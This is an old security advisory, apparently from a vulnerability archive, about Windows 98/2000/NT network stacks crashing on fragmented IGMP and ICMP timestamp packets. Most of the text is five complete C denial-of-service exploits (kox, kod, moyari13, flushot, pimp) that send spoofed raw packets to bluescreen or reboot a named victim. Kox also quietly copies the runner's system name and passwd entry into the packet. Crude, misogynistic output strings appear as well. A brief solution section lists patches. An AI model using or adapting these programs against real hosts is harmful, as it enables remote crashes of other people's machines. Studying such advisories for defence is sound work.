COMMAND

    kernel (IGMP/ICMP)

SYSTEMS AFFECTED

    Win98/98SE, Win2000, NT

PROBLEM

    Coolio  posted  following.   Windows  98's  TCP/IP stack chokes on
    fragmented IGMP  packets.   There is  an exploit  out there called
    "fawx" that  supposedly exploits  this problem,  but Coolio hasn't
    had any success crashing Windows  with it.  Recently he  was given
    source to  a program  that reliably  crashed Win98/98SE/2000 build
    2000 and challenged friend defile to see who could write a version
    of it  utilizing handcrafted  igmp/ip headers  for source spoofing
    support.   Here  is  the  resulting  code  that works against most
    systems with one or two tries.  Few other codes follow them...

    /***
	    Kox by Coolio (coolio@k-r4d.com)

	    this was a successful attempt to duplicate klepto/defile's kod win98
	    exploit and add spoofing support to it. me and defile made this a
	    race to see who could do spoofing kod first. he won. (mine's better!)
	    my kox and defile's skod output about the same packets
	    but he had skod working a few hours before i had kox working.

	    affected systems: windows 98, windows 98 SE, windows 2000 build 2000
	    results: bluescreen, tcp/ip stack failure, lockup, or instant reboot

	    thanks to klepto and defile for making kod, psilord for wanting
	    to understand what we were doing, greg for telling me about iphdr.ihl,
	    mancide for letting me use his win98 boxen to test on, and the
	    few other people i crashed trying to get this working right.

	    also thanks to the authors of elvis for making such a badass editor.
    ***/



    #include <stdio.h>
    #include <unistd.h>
    #include <stdlib.h>
    #include <netdb.h>
    #include <string.h>
    #include <errno.h>
    #include <pwd.h>
    #include <time.h>
    #include <sys/types.h>
    #include <sys/socket.h>
    #include <sys/utsname.h>
    #include <netinet/in.h>
    #include <netinet/ip.h>
    #include <netinet/ip_icmp.h>
    #include <netinet/igmp.h>



    void usage(char *arg)
    {
	    printf("Kox by Coolio (coolio@k-r4d.com)\n");
	    printf("Usage: %s <victim>\n", arg);
	    exit(1);
    }


    unsigned int randip()
    {
	    struct hostent *he;
	    struct sockaddr_in sin;
	    char *buf = (char *)calloc(1, sizeof(char) * 16);

	    sprintf(buf, "%d.%d.%d.%d",
		    (random()%191)+23,
		    (random()%253)+1,
		    (random()%253)+1,
		    (random()%253)+1);

	    inet_aton(buf, (struct in_addr *)&sin);
	    return sin.sin_addr.s_addr;
    }

    unsigned short in_cksum(unsigned short *buh, int len)
    {
	    register long sum = 0;
	    unsigned short oddbyte;
	    register unsigned short answer;

	    while(len > 1) {
		    sum += *buh++;
		    len -= 2;
	    }

	    if(len == 1) {
		    oddbyte = 0;
		    *((unsigned char *)&oddbyte) = *(unsigned char *)buh;
		    sum += oddbyte;
	    }

	    sum = (sum >> 16) + (sum & 0xFFFF);
	    sum += (sum >> 16);
	    answer = ~sum;
	    return answer;
    }

    int nuke_igmp(struct sockaddr_in *victim, unsigned long spoof)
    {
	    int BIGIGMP = 1500;
	    unsigned char *pkt;
	    struct iphdr *ip;
	    struct igmphdr *igmp;
	    struct utsname *un;
	    struct passwd *p;

	    int i, s;
	    int id = (random() % 40000) + 500;

	    pkt = (unsigned char *)calloc(1, BIGIGMP);
	    ip = (struct iphdr *)pkt;
	    igmp = (struct igmphdr *)(pkt + sizeof(struct iphdr));

	    ip->version = 4;
	    ip->ihl = (sizeof *ip) / 4;
	    ip->ttl = 255;
	    ip->tot_len = htons(BIGIGMP);
	    ip->protocol = IPPROTO_IGMP;
	    ip->id = htons(id);
	    ip->frag_off = htons(IP_MF);
	    ip->saddr = spoof;
	    ip->daddr = victim->sin_addr.s_addr;
	    ip->check = in_cksum((unsigned short *)ip, sizeof(struct iphdr));

	    igmp->type = 0;
	    igmp->group = 0;
	    igmp->csum = in_cksum((unsigned short *)igmp, sizeof(struct igmphdr));

	    for(i = sizeof(struct iphdr) + sizeof(struct igmphdr) + 1;
		i < BIGIGMP; i++)
		    pkt[i] = random() % 255;
    #ifndef I_GROK
	    un = (struct utsname *)(pkt + sizeof(struct iphdr) +
		  sizeof(struct igmphdr) + 40);
	    uname(un);
	    p = (struct passwd *)((void *)un + sizeof(struct utsname) + 10);
	    memcpy(p, getpwuid(getuid()), sizeof(struct passwd));
    #endif
	    if((s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
		    perror("error: socket()");
		    return 1;
	    }

	    if(sendto(s, pkt, BIGIGMP, 0, victim,
	       sizeof(struct sockaddr_in)) == -1) {
		    perror("error: sendto()");
		    return 1;
	    }
	    usleep(1000000);

	    for(i = 1; i < 5; i++) {
		    if(i > 3)
			    ip->frag_off = htons(((BIGIGMP-20) * i) >> 3);
		    else
			    ip->frag_off = htons(((BIGIGMP-20) * i) >> 3 | IP_MF);
		    sendto(s, pkt, BIGIGMP, 0, victim, sizeof(struct sockaddr_in));
		    usleep(2000000);
	    }

	    free(pkt);
	    close(s);
	    return 0;
    }

    int main(int argc, char *argv[])
    {
	    struct sockaddr_in victim;
	    struct hostent *he;
	    int i;

	    srandom(time(NULL));

	    if(argc < 2)
		    usage(argv[0]);

	    if((he = gethostbyname(argv[1])) == NULL) {
		    herror(argv[1]);
		    exit(1);
	    }
	    memcpy(&victim.sin_addr.s_addr, he->h_addr, he->h_length);
	    victim.sin_port = htons(0);
	    victim.sin_family = PF_INET;

	    printf("IGMP> ");
	    fflush(stdout);
	    for(i = 0; i < 10; i++)
	    {
		    nuke_igmp(&victim, randip());
		    printf(".");
		    fflush(stdout);
	    }
	    printf("\n");
	    fflush(stdout);
    }

    Another code on same issue:

    /*
    ::: kod.c (kiss of death) version 1.2
    ::: [author] kod.c bug found by klepto /
    klepto@levitate.net / rewritten by ignitor / ignitor@EFnet
    ::: [stuph ] works on bsd/linux/*nix
    ::: [notes ] bluescreens windows users(98/98se) and kills
    tcp stack
    ::: [m$ bug] windows handles igmp badly and this is the
    result
    ::: [greets]
    amputee/nizda/nyt/ignitor/skyline/codelogic/ill`/conio/egotr
    ip/TFreak/napster
    ::: [greets] dist(test monkey)/naz(you rule period.)/#havok/
    #irc_addict/#kgb/#eof/everyone
    ::: [action] ./kod <host> and BEWM!
    ::: [rant  ] there will be lots of rewrites to this.. just
    get our name right!
    de omnibus dubitandum
    */

    /*
    windows core dump output (*whee*)
    An exception 0E has occurred at 0028:C14C9212 in VxD VIP
    (01) +
    00006C72.  This was called from 0028:C183FF54 in VcD PPPMAC
    (04) +
    000079BR.  It may be possible to continue normally(*not*).
    */


    #include <stdio.h>
    #include <string.h>
    #include <stdlib.h>
    #include <netinet/in.h>
    #include <netdb.h>
    #include <sys/time.h>
    #include <sys/types.h>
    #include <sys/socket.h>
    #include <arpa/inet.h>
    #include <unistd.h>

    struct iphdr
    {
      unsigned char ihl:4, version:4, tos;
      unsigned short tot_len, id, frag_off;
      unsigned char ttl, protocol;
      unsigned short check;
      unsigned int saddr, daddr;
    };

    struct igmphdr
    {
      unsigned char type, code;
      unsigned short cksum;
      struct in_addr group;
    };

    unsigned short in_chksum(unsigned short *, int);
    long resolve(char *);

    long resolve(char *host)
    {
      struct hostent *hst;
      long addr;

      hst = gethostbyname(host);
      if (hst == NULL)
	return(-1);

      memcpy(&addr, hst->h_addr, hst->h_length);

      return(addr);
    }

    int main(int argc, char *argv[])
    {
      struct sockaddr_in dst;
      struct iphdr *ip;
      struct igmphdr *igmp;
      long daddr, saddr;
      int s, i=0, c, len;
      char buf[1500];

      if (argc < 3)
      {
	printf("KOD spoofer by Ignitor and klepto\n");
	printf("Usage: %s <src> <dst>\n", *argv);
	return(1);
      }

      daddr = resolve(argv[2]);
      saddr = resolve(argv[1]);

      memset(buf, 0, 1500);
      ip = (struct iphdr *)&buf;
      igmp = (struct igmphdr *)&buf[sizeof(struct iphdr)];

      dst.sin_addr.s_addr = daddr;
      dst.sin_family = AF_INET;

      ip->ihl = 5;
      ip->version = 4;
      ip->tos = 0;
      ip->tot_len = htons(10933);
      ip->id = htons(48648);
      ip->ttl = 64;
      ip->protocol = IPPROTO_IGMP;
      ip->check = in_chksum((unsigned short *)ip, sizeof(struct
    iphdr));
      ip->saddr = saddr;
      ip->daddr = daddr;

      s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
      if (s == -1)
	return(1);

      printf("Sending IGMP packets: %s -> %s\n", argv[1], argv
    [2]);

      for (c=0;c<2;c++)
      {
	len = 220;
	ip->frag_off = htons(0x73a);

	for (i=0;;i++)
	{
	  if (sendto(s,&buf,len,0,(struct sockaddr *)&dst,sizeof
    (struct sockaddr_in)) == -1)
	  {
	    perror("Error sending packet");
	    exit(-1);
	  }
	  if (ntohs(ip->frag_off) == 0x2000)
	    break;
	  len = 1500;
	  if (!i)
	    ip->frag_off = htons(0x2681);
	  else
	    ip->frag_off = htons(ntohs(ip->frag_off) - 185);

	  ip->check = in_chksum((unsigned short *)ip, sizeof
    (struct iphdr));
	}
      }

      return(1);
    }

    unsigned short in_chksum(unsigned short *addr, int len)
    {
       register int nleft = len;
       register int sum = 0;
       u_short answer = 0;

       while (nleft > 1) {
	  sum += *addr++;
	  nleft -= 2;
       }

       if (nleft == 1) {
	  *(u_char *)(&answer) = *(u_char *)addr;
	  sum += answer;
       }

       sum = (sum >> 16) + (sum & 0xffff);
       sum += (sum >> 16);
       answer = ~sum;
       return(answer);
    }

    R00t Zer0 added  following.  Windows  98's TCP/IP stack  chokes on
    ICMP-Type13 (timestamp request) packets, too.  Code:

    /* moyari13.c   by R00t Zer0( defcon0@ugtop.com) */

    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <unistd.h>
    #include <netdb.h>
    #include <sys/socket.h>
    #include <sys/types.h>
    #include <netinet/in.h>
    #include <netinet/ip.h>
    #include <netinet/ip_icmp.h>
    #define __FAVOR_BSD
    #include <netinet/tcp.h>
    #include <netinet/in_systm.h>
    #include <arpa/inet.h>


    #define IP_SIZE         sizeof( struct iphdr )



    u_short
    in_cksum( u_short *addr, int len )
	{
	int     nleft   = len;
	u_short *w      = addr;
	int     sum     = 0;
	u_short answer  = 0;

	/*
	 * Our algorithm is simple, using a 32 bit accumulator (sum), we add
	 * sequential 16 bit words to it, and at the end, fold back all the
	 * carry bits from the top 16 bits into the lower 16 bits.
	 */
	while( nleft > 1 )
	    {
	    sum += *w++;
	    nleft -= 2;
	    }

	/* mop up an odd byte, if necessary */
	if (nleft == 1)
	    {
	    *( u_char *)( &answer ) = *( u_char *)w;
	    sum += answer;
	    }

	/* add back carry outs from top 16 bits to low 16 bits */
	sum  = ( sum >> 16 ) + ( sum & 0xffff );    /* add hi 16 to low 16 */
	sum += ( sum >> 16 );                       /* add carry           */
	answer = ~sum;                              /* truncate to 16 bits */
	return( answer );
	}




    int
    send_icmp_packet( int sock_send, u_long src_addr, u_long dst_addr )
	{
	char    *packet, *cksum;        /* packet, cksum    */
	int     send_status, loop;

	struct  iphdr       *ip;        /* ip header        */
	struct  icmp        *icp;       /* icmp header      */
	struct  sockaddr_in from;       /* sockaddr         */
	struct  sockaddr_in to;         /* sockaddr         */


	/************************************/
	/* get and init packet_memory_area  */
	/************************************/
	packet  = ( char *)malloc( IP_SIZE + 20 );
	ip      = ( struct iphdr *)( packet );
	icp     = ( struct  icmp *)( packet + IP_SIZE );
	memset( packet, 0, IP_SIZE + 20 );

	/****************/
	/* IP header    */
	/****************/
	ip->saddr       = src_addr;
	ip->daddr       = dst_addr;
	ip->version     = 4;
	ip->ihl         = IP_SIZE / 4;
	ip->ttl         = 255;
	ip->protocol    = IPPROTO_ICMP;
	ip->id          = 0x01;
	ip->tot_len     = htons( IP_SIZE + 20 );
	ip->check       = in_cksum( (u_short *)ip, IP_SIZE );

	/****************/
	/*  ICMP header */
	/****************/
	icp->icmp_type  = 13;
	icp->icmp_code  = 0;
	icp->icmp_cksum = 0;

	/************************************/
	/* ICMP_id, ICMP_sequence = 0xffff  */
	/************************************/
	for( loop = IP_SIZE + 4; loop < IP_SIZE + 4 + 4; loop++ )
	    *( packet + loop ) = 0xff;

	/********************************************************/
	/* ICMP_type13_otime/rtime/ttime = rand() % 0xffffffff  */
	/********************************************************/
	for( loop = IP_SIZE + 4 + 4; loop < IP_SIZE + 4 + 4 + 12; loop++ )
	    *( packet + loop ) = rand() % 0xff;

	/************************/
	/* set ICMP_checksum    */
	/************************/
	icp->icmp_cksum = in_cksum( ( u_short *)( packet + IP_SIZE ),
				    4 + 16 );


	/********************/
	/* send 1 packets   */
	/********************/
	bzero( (char *)&to, sizeof( to ) );
	to.sin_family           = AF_INET;
	to.sin_addr.s_addr      = ip->daddr;

	send_status = sendto( sock_send, packet, IP_SIZE + 20, 0,
			      ( struct sockaddr *)&to, sizeof( struct sockaddr ) );


	free( packet );

	return( send_status );
	}




    int
    main( int argc, char *argv[] )
	{
	char    tmp_buffer[ 1024 ];         /* tmp_buffer                   */
	int     loop, loop2;                /* loop counter                 */
	int     sock_send;                  /* socket_fd                    */
	u_long  src_addr, dst_addr;         /* src/dst addr                 */
	time_t  t;                          /* init_rand_seed(time)         */

	struct  hostent     *host;          /* hostinfo(hostent)            */
	struct  sockaddr_in addr;           /* (sockaddr_in)addr            */


	/************************/
	/*  print usage(error)  */
	/************************/
	if( argc != 3 )
	    {
	    printf( "Usage : %s <dst addr> <count>\n", argv[0] );
	    exit( -1 );
	    }


	/********************/
	/*  init rand_seed  */
	/********************/
	t = time( 0 );
	srand( ( u_int )t );


	/********************/
	/* Get src_address  */
	/********************/
	gethostname( tmp_buffer, 128 );
	host = gethostbyname( tmp_buffer );
	if( host == NULL )
	    {
	    printf( "Can't get this machine's hostname\n" );
	    exit( -1 );
	    }
	memcpy( &src_addr, host->h_addr, 4 );

	/********************/
	/* Get dst_address  */
	/********************/
	memset( &addr, 0, sizeof( struct sockaddr_in ) );
	addr.sin_family         = AF_INET;
	addr.sin_addr.s_addr    = inet_addr( argv[1] );
	if( addr.sin_addr.s_addr == -1 )
	    {
	    host = gethostbyname( argv[1] );
	    if( host == NULL )
		{
		printf( "Unknown host %s.\n", argv[1] );
		exit( -1 );
		}
	    addr.sin_family = host->h_addrtype;
	    memcpy( ( caddr_t )&addr.sin_addr, host->h_addr, host->h_length );
	    }
	memcpy( &dst_addr, ( char *)&addr.sin_addr.s_addr, 4 );

	/********************/
	/* open RAW_socket  */
	/********************/
	if( ( sock_send = socket( AF_INET, SOCK_RAW, IPPROTO_RAW ) ) == -1)
	    {
	    perror( "Getting raw send socket" );
	    exit( -1 );
	    }


    #if 0   /* fake */
	src_addr = inet_addr( "89.89.89.89" );
    #endif


	/****************************/
	/*  - m o - y a - r i -     */
	/****************************/
	printf( "[ moyari13 ( TimeStump request) Attack ]\n\n" );
	printf( "sending..." );

	for( loop = 0; loop < atoi( argv[2] ); loop++ )
	    {
    #if 1   /* spoof( random ) */
	    src_addr = rand() % 0xffffffff;
    #endif
	    send_icmp_packet( sock_send, src_addr, dst_addr );
	    printf( "." );
	    fflush( stdout );
	    }

	printf( "\nDone.\n" );
	close( sock_send );

	exit( 0 );
    }

    Here's the trivial fix for compiling under Linux:

	3,4d2
	< /* trivial fix for linux by crw */
	<
	68c66
	<     struct  icmphdr       *icp;       /* icmp header      */
	---
	>     struct  icmp        *icp;       /* icmp header      */
	78c76
	<     icp     = ( struct  icmphdr *)( packet + IP_SIZE );
	---
	>     icp     = ( struct  icmp *)( packet + IP_SIZE );
	97,99c95,97
	<     icp->type  = 13;
	<     icp->code  = 0;
	<     icp->checksum = 0;
	---
	>     icp->icmp_type  = 13;
	>     icp->icmp_code  = 0;
	>     icp->icmp_cksum = 0;
	116c114
	<     icp->checksum = in_cksum( ( u_short *)( packet + IP_SIZE ),
	---
	>     icp->icmp_cksum = in_cksum( ( u_short *)( packet + IP_SIZE ),

    On  SPARC  the  program  compiles  successfully,  and  although it
    reports that it  is sending packets,  Snoop reported that  nothing
    was sent  to the  target machine.   The reason  for this  is  that
    Solaris does not  appear to support  Raw IGMP -  the "sendto" call
    fails, but since  the program doesn't  bother to check  whether it
    was successful, it carries on regardless....  Checking the  return
    status  of  the  "sendto",  and  reading  the error number, we get
    EPROTONOSUPPORT - suggesting that raw IGMP can't be sent over this
    interface.

    Hector Leon  got two  exploit and  test it...   The first  one  is
    Flushot by DarkShow.  This exploit can drop the network connection
    in windows 95  and 98(First Edition).   The other one  is Pimp  by
    Rob Mosher, this exploit can reboot Windows98se (note that there's
    some wierd  thing going  on regarding  credits in  this cases...).
    FluSHOT.c looks like following:

    /* Lags CPU Made By DarkShadow from The flu Hacking Group

       Kills Win95-98 machines

     */

    #include <stdio.h>
    #include <unistd.h>
    #include <stdlib.h>
    #include <string.h>
    #include <sys/types.h>
    #include <sys/time.h>
    #include <sys/socket.h>
    #include <netdb.h>
    #include <netinet/in.h>
    #include <netinet/ip.h>
    #include <netinet/ip_icmp.h>
    void banner(void) {

       printf("Remote Flushot v 1.0\n\n");
       printf("\n\n");
    }

    void usage(const char *progname) {
       printf(" usage:\n");
       printf("./flushot [Spoofed IP] [Destination IP] [# of FLushot to Send]\n",progname);
       printf(" [Spoofed IP] :  ex: 205.56.78.0\n");
       printf(" [Destination IP] :  ex: 201.12.3.76\n");
       printf(" [# of FLushot to Send]  : 100\n");
       printf("The Flu Hacking Group (c)\n");
       printf("DarkShadow PlimoMan Hack The Planet\n");
    }

    int resolve( const char *name, unsigned int port, struct sockaddr_in =
    *addr ) {

       struct hostent *host;
       memset(addr,0,sizeof(struct sockaddr_in));
       addr->sin_family = AF_INET;
       addr->sin_addr.s_addr = inet_addr(name);
       if (addr->sin_addr.s_addr == -1) {
          if (( host = gethostbyname(name) ) == NULL )  {
             fprintf(stderr,"ERROR: Unable to resolve host %s\n",name);
             return(-1);
          }
          addr->sin_family = host->h_addrtype;
          memcpy((caddr_t)&addr->sin_addr,host->h_addr,host->h_length);
       }
       addr->sin_port = htons(port);
       return(0);
    }

    unsigned short in_cksum(addr, len)

        u_short *addr;
        int len;

    {
        register int nleft = len;
        register u_short *w = addr;
        register int sum = 0;
        u_short answer = 0;

        while (nleft > 1)  {

            sum += *w++;
            nleft -= 2;
        }


        if (nleft == 1) {
            *(u_char *)(&answer) = *(u_char *)w ;
            sum += answer;
        }


        sum = (sum >> 16) + (sum & 0xffff);
        sum += (sum >> 16);
        answer = ~sum;
        return(answer);
    }

    int send_winbomb(int socket,

                     unsigned long spoof_addr,
                     struct sockaddr_in *dest_addr) {

       unsigned char  *packet;
       struct iphdr   *ip;
       struct icmphdr *icmp;
       int rc;

       packet = (unsigned char *)malloc(sizeof(struct iphdr) +
                                        sizeof(struct icmphdr) + 8);
       ip = (struct iphdr *)packet;
       icmp = (struct icmphdr *)(packet + sizeof(struct iphdr));
       memset(ip,0,sizeof(struct iphdr) + sizeof(struct icmphdr) + 8);

       ip->ihl      = 5;
       ip->version  = 4;
    // ip->tos      = 2;
       ip->id       = htons(1234);
       ip->frag_off |= htons(0x2000);
    // ip->tot_len  = 0;
       ip->ttl      = 30;
       ip->protocol = IPPROTO_ICMP;
       ip->saddr    = spoof_addr;
       ip->daddr    = dest_addr->sin_addr.s_addr;
       ip->check    = in_cksum(ip, sizeof(struct iphdr));

       icmp->type              = 12;
       icmp->code              = 0;
       icmp->checksum          = in_cksum(icmp,sizeof(struct icmphdr) + 1);

       if (sendto(socket,
                  packet,
                  sizeof(struct iphdr) +
                  sizeof(struct icmphdr) + 1,0,
                  (struct sockaddr *)dest_addr,
                  sizeof(struct sockaddr)) == -1) { return(-1); }
       ip->tot_len  = htons(sizeof(struct iphdr) + sizeof(struct icmphdr) + 8);
       ip->frag_off = htons(8 >> 3);
       ip->frag_off |= htons(0x2000);
       ip->check    = in_cksum(ip, sizeof(struct iphdr));
       icmp->type = 0;
       icmp->code = 0;
       icmp->checksum = 0;
       if (sendto(socket,
                  packet,
                  sizeof(struct iphdr) +
                  sizeof(struct icmphdr) + 8,0,
                  (struct sockaddr *)dest_addr,
                  sizeof(struct sockaddr)) == -1) { return(-1); }
       free(packet);
       return(0);
    }

    int main(int argc, char * *argv) {
       struct sockaddr_in dest_addr;
       unsigned int i,sock;
       unsigned long src_addr;

       banner();

       if ((argc != 4)) {
          usage(argv[0]);
          return(-1);
       }

       if((sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
          fprintf(stderr,"ERROR: Opening raw socket.\n");
          return(-1);
       }

       if (resolve(argv[1],0,&dest_addr) == -1) { return(-1); }
       src_addr = dest_addr.sin_addr.s_addr;
       if (resolve(argv[2],0,&dest_addr) == -1) { return(-1); }
       printf("Status: Connected....packets sent.\n",argv[0]);
       for (i = 0;i < atoi(argv[3]);i++) {
          if (send_winbomb(sock,
                           src_addr,
                           &dest_addr) == -1) {
             fprintf(stderr,"ERROR: Unable to Connect To luser.\n");
             return(-1);
          }
          usleep(10000);
       }
    }

    Pimp.c looks like this:

    /*
    ** pimp.c 6/4/99 by Rob Mosher: nyt@deadpig.org
    ** exploits bug in m$'s ip stack
    ** rewrite by nyt@EFnet
    ** bug found by klepto
    ** usage: pimp <host>
    */

    #include <stdio.h>
    #include <stdlib.h>
    #include <unistd.h>
    #include <time.h>
    #include <netdb.h>
    #include <netinet/in.h>
    #include <netinet/in_systm.h>
    #include <netinet/ip.h>
    #include <sys/socket.h>

    struct igmp
    {
            unsigned char igmp_type;
            unsigned char igmp_code;
            unsigned short igmp_cksum;
            struct in_addr igmp_group;
    };

    #define ERROR(a) {printf("ERROR: %s\n", a);exit(-1);}

    u_long  resolve(char *);

    int main(int argc, char *argv[])
    {
     int nsock, ctr;
     char *pkt, *data;
     struct ip *nip;
     struct igmp *nigmp;
     struct sockaddr_in s_addr_in;

     setvbuf(stdout, NULL, _IONBF, 0);

     printf("pimp.c by nyt\n");

     if(argc != 2)
      ERROR("usage: pimp <host>");

     if((nsock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) == -1)
      ERROR("could not create raw socket");

     pkt = malloc(1500);
     if(!pkt)
      ERROR("could not allocate memory");

     memset(&s_addr_in, 0, sizeof(s_addr_in));
     memset(pkt, 0, 1500);

     nip = (struct ip *) pkt;
     nigmp = (struct igmp *) (pkt + sizeof(struct ip));
     data = (char *)(pkt + sizeof(struct ip) + sizeof(struct igmp));
     memset(data, 'A', 1500-(sizeof(struct ip) + sizeof(struct igmp)));

     s_addr_in.sin_addr.s_addr = resolve(argv[1]);

     nip->ip_v  = 4;
     nip->ip_hl  = 5;
     nip->ip_tos  = 0;
     nip->ip_id  = 69;
     nip->ip_ttl  = 255;
     nip->ip_p  = IPPROTO_IGMP;
     nip->ip_sum  = 0;
     nip->ip_dst.s_addr = s_addr_in.sin_addr.s_addr;
     nip->ip_src.s_addr = 2147100000;
     nigmp->igmp_type = 2;
     nigmp->igmp_code = 31;
     nigmp->igmp_cksum = 0;

     inet_aton("128.1.1.1", &nigmp->igmp_group);

     printf("pimpin' dem trick-ass-bitches");

     for(ctr = 0;ctr < 15;ctr++)
     {
      printf(".");
      nip->ip_len  = 1500;
      nip->ip_off  = htons(IP_MF);
      sendto(nsock, pkt, 1500, 0, (struct sockaddr *) &s_addr_in,
    sizeof(s_addr_in));

      nip->ip_off  = htons(1480/8)|htons(IP_MF);
      sendto(nsock, pkt, 1500, 0, (struct sockaddr *) &s_addr_in,
    sizeof(s_addr_in));

      nip->ip_off  = htons(5920/8)|htons(IP_MF);
      sendto(nsock, pkt, 1500, 0, (struct sockaddr *) &s_addr_in,
    sizeof(s_addr_in));

      nip->ip_len   = 831;
      nip->ip_off  = htons(7400/8);
      sendto(nsock, pkt, 831, 0, (struct sockaddr *) &s_addr_in,
    sizeof(s_addr_in));

      usleep(500000);
     }

     printf("*slap* *slap* bitch, who yo daddy\n");
     shutdown(nsock, 2);
     close(nsock);
    }

    u_long resolve(char *host)
    {
            struct hostent *he;
            u_long ret;

            if(!(he = gethostbyname(host)))
            {
                    herror("gethostbyname()");
                    exit(-1);
            }
            memcpy(&ret, he->h_addr, sizeof(he->h_addr));
            return ret;
    }

SOLUTION

    If you want to protect yourself from kod.c it is suggested you get
    winroute from  www.winroute.com get  version 4.   It automatically
    drops igmp packets incoming and outgoing.  It is also a very  good
    portmapper/NAT firewall/ip masqer as well..

    Patch Availability:

    - Windows 95:
        This patch will be available shortly
    - Windows 98:
        http://www.microsoft.com/windows98/downloads/corporate.asp
    - WinNT WKS 4.0; WinNT Server 4.0; WinNT Server, Enterprise Edition:
        ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/usa/NT40/hotfixes-postSP5/IGMP-fix/
    - Windows NT Server 4.0, Terminal Server Edition:
        ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/usa/NT40TSE/hotfixes-postSP5/IGMP-fix/

    The  Windows  95  and  98  patches  also  will  be  available  via
    WindowsUpdate  (http://www.microsoft.com/windowsupdate)  circa  on
    September 9, 1999.